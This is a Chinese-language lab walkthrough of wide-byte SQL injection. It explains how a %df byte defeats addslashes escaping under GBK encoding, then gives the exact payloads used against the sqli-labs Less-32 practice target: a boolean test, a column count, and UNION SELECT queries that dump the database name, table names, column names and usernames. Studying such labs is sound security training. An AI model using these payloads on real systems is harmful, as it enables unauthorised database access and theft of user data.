1.1 宽字节注入原理
宽字节注入,在 SQL 进行防注入的时候,一般会开启 gpc,过滤特殊字符。 一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不 对,也可以导致 SQL 防注入绕过,达到注入的目的。如果数据库设置宽字节字 符集 gbk 会导致宽字节注入,从而逃逸 gpc 前提条件 简单理解:数据库编码与 PHP 编码设置为不同的两个编码那么就有可能产生宽字 节注入 深入讲解:要有宽字节注入漏洞,首先要满足数据库后端使用双/多字节解析 SQL 语句,其次还要保证在该种字符集范围中包含低字节位是 0x5C(01011100) 的字 符,初步的测试结果 Big5 和 GBK 字符集都是有的, UTF-8 和 GB2312 没 有这种字符(也就不存在宽字节注入)。 gpc 绕过过程。
gpc 绕过过程
%df%27===(addslashes)===>%df%5c%27===(数据库 GBK)===>運'
1.2 宽字节注入靶场
http://192.168.1.24/sqli-labs/Less-32
1.3 判断注入点
?id=1%df' and 1=1--+ ?id=1%df' and 1=2--+
通过页面的回显发现确实存在宽字节注入以及单引号注入点
1.4 使用order by字段数
?id=1%df' and 1=1 order by 4--+ ?id=1%df' and 1=1 order by 3--+
字段数为3
1.6 找回显以及爆数据库名
找回显,信息收集 ?id=1%df' and 1=2 union select 1,database(),3--+
1.7 爆数据库表名
爆破数据库表 ?id=1%df' and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+
1.8 爆破字段
爆破字段内容:因为'users'中单引号会被转义,因此采取十六进制代替'users' ?id=-1%df' union select 1,2, group_concat(column_name) from information_schema.columns WHERE table_name=0x7573657273--+
1.9爆破字段内容
?id=-1%df' union select 1,2, group_concat(username) from users--+